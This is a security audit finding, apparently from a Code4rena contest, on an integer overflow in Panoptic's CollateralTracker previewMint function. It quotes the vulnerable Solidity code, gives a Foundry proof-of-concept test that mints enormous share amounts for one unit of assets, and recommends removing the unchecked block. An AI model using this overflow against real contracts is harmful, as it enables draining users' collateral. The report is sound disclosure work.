Overflow in CollateralTracker allows minting shares for free
criticalLines of code
https://github.com/code-423n4/2024-04-panoptic/blob/833312ebd600665b577fbd9c03ffa0daf250ed24/contracts/CollateralTracker.sol#L478 https://github.com/code-423n4/2024-04-panoptic/blob/833312ebd600665b577fbd9c03ffa0daf250ed24/contracts/CollateralTracker.sol#L461-L467
Vulnerability details
Impact
Malicious actors can mint huge amounts of shares for free and then withdraw all collateral.
Proof of Concept
In the mint function user-controlled shares parameter goes right away to the previewMint function which then calculates required assets in unchecked block. If the shares value is high enough, overflow in shares * DECIMALS will occur, and assets will be very low.
function previewMint(uint shares) public view returns (uint assets) {
unchecked {
assets = Math.mulDivRoundingUp(
shares * DECIMALS, totalAssets(), totalSupply * (DECIMALS - COMMISSION_FEE)
);
}
}
function mint(uint shares, address receiver) external returns (uint assets) {
assets = previewMint(shares);
if (assets > type(uint104).max) revert Errors.DepositTooLarge();
...
}
Insert the following snippet to ColalteralTracker.t.sol for coded PoC:
function test_poc1(uint256 x) public {
_initWorld(x);
_grantTokens(Bob);
vm.startPrank(Bob);
uint shares = type(uint).max / 10000 + 1;
IERC20Partial(token0).approve(address(collateralToken0), type(uint256).max);
uint256 returnedAssets0 = collateralToken0.mint(shares, Bob);
assertEq(shares, collateralToken0.balanceOf(Bob));
assertEq(returnedAssets0, 1);
}
Tools Used
Manual review
Recommended Mitigation Steps
Remove unchecked block
function maxMint(address) external view returns (uint maxShares) {
return (convertToShares(type(uint104).max) * DECIMALS) / (DECIMALS + COMMISSION_FEE);
}
Assessed type
Under/Overflow
